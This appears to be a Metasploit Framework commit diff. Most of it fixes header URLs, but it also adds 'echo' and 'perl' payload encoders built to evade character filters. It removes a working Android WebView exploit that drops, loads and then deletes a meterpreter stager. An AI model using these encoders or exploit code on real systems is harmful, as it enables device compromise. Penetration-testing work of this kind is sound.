--- a/modules/auxiliary/voip/sip_deregister.rb +++ b/modules/auxiliary/voip/sip_deregister.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb index 96c455150a..5ee141c27c 100644 --- a/modules/auxiliary/voip/sip_invite_spoof.rb +++ b/modules/auxiliary/voip/sip_invite_spoof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb index 19e267e20d..6421fdb954 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index 9a250facf6..0a91a507cb 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb index 25844caa52..097746a5d4 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb index caa6f7a38d..d68bbbdea6 100644 --- a/modules/auxiliary/vsploit/pii/email_pii.rb +++ b/modules/auxiliary/vsploit/pii/email_pii.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb index 06ffb0c75c..2046f60300 100644 --- a/modules/auxiliary/vsploit/pii/web_pii.rb +++ b/modules/auxiliary/vsploit/pii/web_pii.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/cmd/echo.rb b/modules/encoders/cmd/echo.rb new file mode 100644 index 0000000000..e9439214d8 --- /dev/null +++ b/modules/encoders/cmd/echo.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Encoder + + Rank = GoodRanking + + def initialize + super( + 'Name' => 'Echo Command Encoder', + 'Description' => %q{ + This encoder uses echo and backlash escapes to avoid commonly restricted characters. + }, + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::CmdUnixEcho) + end + + + # + # Encodes the payload + # + def encode_block(state, buf) + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + if state.badchars.include?("-") + raise RuntimeError + else + # Without an escape character we can't escape anything, so echo + # won't work. + if state.badchars.include?("\\") + raise RuntimeError + else + buf = encode_block_bash_echo(state,buf) + end + end + + return buf + end + + # + # Uses bash's echo -ne command to hex encode the command string + # + def encode_block_bash_echo(state, buf) + + hex = '' + + # Can we use single quotes to enclose the echo arguments? + if state.badchars.include?("'") + hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join + else + hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'" + end + + # Are pipe characters restricted? + if state.badchars.include?("|") + # How about backticks? + if state.badchars.include?("`") + # Last ditch effort, dollar paren + if state.badchars.include?("$") or state.badchars.include?("(") + raise RuntimeError + else + buf = "$(/bin/echo -ne #{hex})" + end + else + buf = "`/bin/echo -ne #{hex}`" + end + else + buf = "/bin/echo -ne #{hex}|sh" + end + + # Remove spaces from the command string + if state.badchars.include?(" ") + buf.gsub!(/\s/, '${IFS}') + end + + return buf + end + +end diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index 867195863a..9e394f3bda 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Encoder # Has some issues, but overall it's pretty good - Rank = GoodRanking + Rank = ManualRanking def initialize super( diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index 9b8527a49f..602b3508d2 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,8 @@ class Metasploit3 < Msf::Encoder }, 'Author' => 'egypt', 'Arch' => ARCH_CMD, - 'Platform' => 'unix') + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::CmdUnixIfs) end @@ -30,6 +31,16 @@ class Metasploit3 < Msf::Encoder # Encodes the payload # def encode_block(state, buf) + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + # Skip encoding unless space is a badchar + unless state.badchars.include?(" ") + return buf + end + buf.gsub!(/\s/, '${IFS}') return buf end diff --git a/modules/encoders/cmd/perl.rb b/modules/encoders/cmd/perl.rb new file mode 100644 index 0000000000..0e8cd8764e --- /dev/null +++ b/modules/encoders/cmd/perl.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Encoder + + Rank = NormalRanking + + def initialize + super( + 'Name' => 'Perl Command Encoder', + 'Description' => %q{ + This encoder uses perl to avoid commonly restricted characters. + }, + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl) + end + + + # + # Encodes the payload + # + def encode_block(state, buf) + + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + if state.badchars.include?("-") + raise RuntimeError + else + buf = encode_block_perl(state,buf) + end + + return buf + end + + # + # Uses the perl command to hex encode the command string + # + def encode_block_perl(state, buf) + + hex = buf.unpack("H*").join + cmd = 'perl -e ' + qot = ',-:.=+!@#$%^&' + + # Convert spaces to IFS... + if state.badchars.include?(" ") + if state.badchars.match(/[${IFS}]/n) + raise RuntimeError + end + cmd.gsub!(/\s/, '${IFS}') + end + + # Can we use single quotes to enclose the command string? + if state.badchars.include?("'") + if (state.badchars.match(/[()\\]/)) + cmd << perl_e(state, qot, hex) + else + # Without quotes, we can use backslash to escape parens so the + # shell doesn't try to interpreter them. + cmd << "system\\(pack\\(#{perl_qq(state, qot, hex)}\\)\\)" + end + else + # Quotes are ok, but we still need parens or spaces + if (state.badchars.match(/[()]/n)) + if state.badchars.include?(" ") + cmd << perl_e(state, qot, hex) + else + cmd << "'system pack #{perl_qq(state, qot, hex)}'" + end + else + cmd << "'system(pack(#{perl_qq(state, qot, hex)}))'" + end + end + + return cmd + end + + def perl_e(state, qot, hex) + # We don't have parens, quotes, or backslashes so we have to use + # barewords on the commandline for the argument to the pack + # function. As a consequence, we can't use things that the shell + # would interpret, so $ and & become badchars. + qot.delete("$") + qot.delete("&") + + # Perl chains -e with newlines, but doesn't automatically add + # semicolons, so the following will result in the interpreter + # seeing a file like this: + # system + # pack + # qq^H*^,qq^whatever^ + # Since system and pack require arguments (rather than assuming + # $_ when no args are given like many other perl functions), + # this works out to do what we need. + cmd = "system -e pack -e #{perl_qq(state, qot, hex)}" + if state.badchars.include?(" ") + # We already tested above to make sure that these chars are ok + # if space isn't. + cmd.gsub!(" ", "${IFS}") + end + + cmd + end + + def perl_qq(state, qot, hex) + + # Find a quoting character to use + state.badchars.unpack('C*') { |c| qot.delete(c.chr) } + + # Throw an error if we ran out of quotes + raise RuntimeError if qot.length == 0 + + sep = qot[0].chr + # Use an explicit length for the H specifier instead of just "H*" + # in case * is a badchar for the module, and for the case where this + # ends up unquoted so the shell doesn't try to expand a path. + "qq#{sep}H#{hex.length}#{sep},qq#{sep}#{hex}#{sep}" + end + +end diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index c8daae56b4..e30a7a359a 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index f0bd8ceff1..9526d79586 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb index ae5e1689af..7db8116178 100644 --- a/modules/encoders/generic/eicar.rb +++ b/modules/encoders/generic/eicar.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb index bcedb58859..6703a746d8 100644 --- a/modules/encoders/generic/none.rb +++ b/modules/encoders/generic/none.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index b5647b87ca..8123cbf7f5 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor }, 'Author' => [ - 'Julien Tinnes <julien at cr0.org>', # original longxor encoder, which this one is based on + 'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on 'juan vazquez' # byte_xori encoder ], 'Arch' => ARCH_MIPSBE, diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index ebc26b0e66..cfeebcb409 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes <julien at cr0.org>', + 'Author' => 'Julien Tinnes <julien[at]cr0.org>', 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, 'Decoder' => diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index 3bca8f7e75..005ee9c5e4 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor }, 'Author' => [ - 'Julien Tinnes <julien at cr0.org>', # original longxor encoder, which this one is based on + 'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on 'juan vazquez' # byte_xori encoder ], 'Arch' => ARCH_MIPSLE, diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index d397a9e70c..e5ccdb90ee 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes <julien at cr0.org>', + 'Author' => 'Julien Tinnes <julien[at]cr0.org>', 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, 'Decoder' => diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 39199c7a46..bff5ea5e0c 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb index 9ecaebfd55..1621e2a3e8 100644 --- a/modules/encoders/ppc/longxor.rb +++ b/modules/encoders/ppc/longxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb index 8e3a06e97c..b0e6a90bd2 100644 --- a/modules/encoders/ppc/longxor_tag.rb +++ b/modules/encoders/ppc/longxor_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb index 15bb39ad59..34995ec80e 100644 --- a/modules/encoders/sparc/longxor_tag.rb +++ b/modules/encoders/sparc/longxor_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb index a7fcbffd2f..73586cccc7 100644 --- a/modules/encoders/x64/xor.rb +++ b/modules/encoders/x64/xor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb index dd3aa96acb..0402d673de 100644 --- a/modules/encoders/x86/add_sub.rb +++ b/modules/encoders/x86/add_sub.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 81c5ca4026..0ebf09384e 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 9836928ec5..543b27c24f 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb index 1c3d477fe4..44180f5a9e 100644 --- a/modules/encoders/x86/avoid_underscore_tolower.rb +++ b/modules/encoders/x86/avoid_underscore_tolower.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb index 20a3a5daeb..a2d5d898cc 100644 --- a/modules/encoders/x86/avoid_utf8_tolower.rb +++ b/modules/encoders/x86/avoid_utf8_tolower.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index d7dccd332a..52814983cd 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb index fdb8bf78ae..05600f691e 100644 --- a/modules/encoders/x86/call4_dword_xor.rb +++ b/modules/encoders/x86/call4_dword_xor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb index 86eb3be4c8..b354574539 100644 --- a/modules/encoders/x86/context_cpuid.rb +++ b/modules/encoders/x86/context_cpuid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb index 926dc67c6e..4de58d3824 100644 --- a/modules/encoders/x86/context_stat.rb +++ b/modules/encoders/x86/context_stat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb index a00a212a95..f5db335623 100644 --- a/modules/encoders/x86/context_time.rb +++ b/modules/encoders/x86/context_time.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb index b0c15f3ab5..b395a8fb74 100644 --- a/modules/encoders/x86/countdown.rb +++ b/modules/encoders/x86/countdown.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb index fb793e1e93..feed5cb342 100644 --- a/modules/encoders/x86/fnstenv_mov.rb +++ b/modules/encoders/x86/fnstenv_mov.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb index a1018b1ea3..5a0b98d082 100644 --- a/modules/encoders/x86/jmp_call_additive.rb +++ b/modules/encoders/x86/jmp_call_additive.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb index 250ebcf995..b4e275351e 100644 --- a/modules/encoders/x86/nonalpha.rb +++ b/modules/encoders/x86/nonalpha.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb index 513d8b2a58..48a261b1f7 100644 --- a/modules/encoders/x86/nonupper.rb +++ b/modules/encoders/x86/nonupper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb index 6e3e31ba10..bc88bb3786 100644 --- a/modules/encoders/x86/opt_sub.rb +++ b/modules/encoders/x86/opt_sub.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Encoder This adds 3-bytes to the start of the payload to bump ESP by 32 bytes so that it's clear of the top of the payload. }, - 'Author' => 'OJ Reeves <oj@buffered.io>', + 'Author' => 'OJ Reeves <oj[at]buffered.io>', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Decoder' => { 'BlockSize' => 4 } diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 5208c1be97..ffc89dcdf5 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb index bd74981a1d..e4bb69f6d1 100644 --- a/modules/encoders/x86/single_static_bit.rb +++ b/modules/encoders/x86/single_static_bit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb index b4fc6fd066..adad3d890f 100644 --- a/modules/encoders/x86/unicode_mixed.rb +++ b/modules/encoders/x86/unicode_mixed.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb index e236e25adf..cf6d84733c 100644 --- a/modules/encoders/x86/unicode_upper.rb +++ b/modules/encoders/x86/unicode_upper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb index 1ac45dfa97..18f91d7ec9 100644 --- a/modules/exploits/aix/local/ibstat_path.rb +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index 81f7f12912..7c1bfce14c 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb index 41db79436c..3e8a17e173 100644 --- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb +++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 373fc8f2fd..94df011f42 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -1,41 +1,32 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/exploit/android' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Android - # Since the NDK stager is used, arch detection must be performed - SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] - - # Most android devices are ARM - DEFAULT_ARCH = ARCH_ARMLE - - # Some of the default NDK build targets are named differently than - # msf's builtin constants. This mapping allows the ndkstager file - # to be looked up from the msf constant. - NDK_FILES = { - ARCH_ARMLE => 'armeabi', - ARCH_MIPSLE => 'mips' - } + VULN_CHECK_JS = %Q| + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime'); + is_vuln = true; break; + } catch(e) {} + } + | autopwn_info( - :os_flavor => 'Android', + :os_name => OperatingSystems::Match::ANDROID, + :arch => ARCH_ARMLE, :javascript => true, :rank => ExcellentRanking, - :vuln_test => %Q| - for (i in top) { - try { - top[i].getClass().forName('java.lang.Runtime'); - is_vuln = true; break; - } catch(e) {} - } - | + :vuln_test => VULN_CHECK_JS ) def initialize(info = {}) @@ -83,9 +74,13 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', - :os_flavor => 'Android' + :os_name => OperatingSystems::Match::ANDROID, + :vuln_test => VULN_CHECK_JS, + :vuln_test_error => 'No vulnerable Java objects were found in this web context.' } )) + + deregister_options('JsObfuscate') end # Hooked to prevent BrowserExploitServer from attempting to do JS detection @@ -105,84 +100,6 @@ class Metasploit3 < Msf::Exploit::Remote send_response_html(cli, html(arch)) end - # The NDK stager is used to launch a hidden APK - def ndkstager(stagename, arch) - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') - data = File.read(localfile, :mode => 'rb') - data.gsub!('PLOAD', stagename) - end - - def js(arch) - stagename = Rex::Text.rand_text_alpha(5) - script = %Q| - function exec(runtime, cmdArr) { - var ch = 0; - var output = ''; - var process = runtime.exec(cmdArr); - var input = process.getInputStream(); - - while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } - return output; - } - - function attemptExploit(obj) { - // ensure that the object contains a native interface - try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } - - // get the pid - var pid = obj.getClass() - .forName('android.os.Process') - .getMethod('myPid', null) - .invoke(null, null); - - // get the runtime so we can exec - var runtime = obj.getClass() - .forName('java.lang.Runtime') - .getMethod('getRuntime', null) - .invoke(null, null); - - // libraryData contains the bytes for a native shared object built via NDK - // which will load the "stage", which in this case is our android meterpreter stager. - // LibraryData is loaded via ajax later, because we have to access javascript in - // order to detect what arch we are running. - var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; - - // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains - // another stager which loads android meterpreter from the msf handler. - var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; - - // get the process name, which will give us our data path - // $PPID does not seem to work on android 4.0, so we concat pids manually - var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); - - var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; - var stagePath = path + '/#{stagename}.apk'; - - // build the library and chmod it - runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); - runtime.exec(['chmod', '700', libraryPath]).waitFor(); - - // build the stage, chmod it, and load it - runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); - runtime.exec(['chmod', '700', stagePath]).waitFor(); - - // load the library (this fails in x86, figure out why) - runtime.load(libraryPath); - - // delete dropped files - runtime.exec(['rm', stagePath]).waitFor(); - runtime.exec(['rm', libraryPath]).waitFor(); - - return true; - } - - for (i in top) { if (attemptExploit(top[i]) === true) break; } - | - - # remove comments and empty lines - 